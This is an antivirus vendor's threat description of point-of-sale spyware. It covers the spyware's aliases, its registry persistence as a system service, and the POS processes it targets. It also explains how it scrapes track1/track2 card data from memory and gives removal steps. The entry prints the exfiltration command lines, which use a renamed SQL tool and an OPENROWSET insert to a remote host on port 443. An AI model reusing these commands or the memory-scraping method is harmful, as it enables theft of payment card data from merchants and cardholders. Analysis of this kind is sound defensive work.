TSPY_POCARDL.SM0
Win32/Spy.POSCardStealer.L, Win32/Spy.POSCardStealer.G (Eset), Win32:Pocardler-B [Spy] (Avast), Trojan.Win32.Locotout (Ikarus), Backdoor.Win32.SrvCmd.f (Kaspersky), Trojan:Win32/Locotout.gen!A (Microsoft), Troj/Bckdr-RQD (Sophos), Infostealer.Somabix (Symantec)
Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)
Threat Type: Spyware
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This spyware may be dropped by other malware.
TECHNICAL DETAILS
Arrival Details
This spyware may be dropped by other malware.
Autostart Technique
This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
Type = "110"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
Start = "2"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
ErrorControl = "0"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
ImagePath = "{malware path}\{malware name}.exe"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
DisplayName = "{Service Name}"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
ObjectName = "LocalSystem"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
FailureActions = "{hex values}"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}\Security
Security = "{hex values}"
It registers as a system service to ensure its automatic execution at every system startup by adding the following registry keys:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{Service Name}\Security
Other Details
This spyware checks for the presence of the following process(es):
- PosW32.exe
- sell_it.exe
- pamserver.exe
NOTES:
where {Service Name} could be any of the following:
- Retalix
- CiscoService
If the above process is found running in the system, the malware dumps the process's memory. It parse the characters "=" and ":", which are used as separators in track1/track2 data to check for credit card information stored.
It sends the gathered information using SQL tool with the following parameters:
%System%\cmd.exe /c {malware path}\{SQL tool} -S {hostname} -U sa -P -Q ""INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address={remote ip},443;uid=sa;pwd={password}', 'SELECT tab from rec..tbl') SELECT '{encrypted data}'
%System%\cmd.exe /c {malware path}\{SQL tool} -S -U sa -P mexpress -Q ""INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address={remote ip},443;uid=sa;pwd={password}', 'SELECT data from rec..tbl') SELECT '{encrypted data}'
where the {SQL tool} could be named as:
- ciscolog.exe
- svchosts.exe
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Restart in Safe Mode
Step 3
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry. Before you could do this, you must restart in Safe Mode. For instructions on how to do this, you may refer to this page If the preceding step requires you to restart in safe mode, you may proceed to edit the system registry.
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
- {Service Name}
- {Service Name}
Step 4
Scan your computer with your Trend Micro product to delete files detected as TSPY_POCARDL.SM0. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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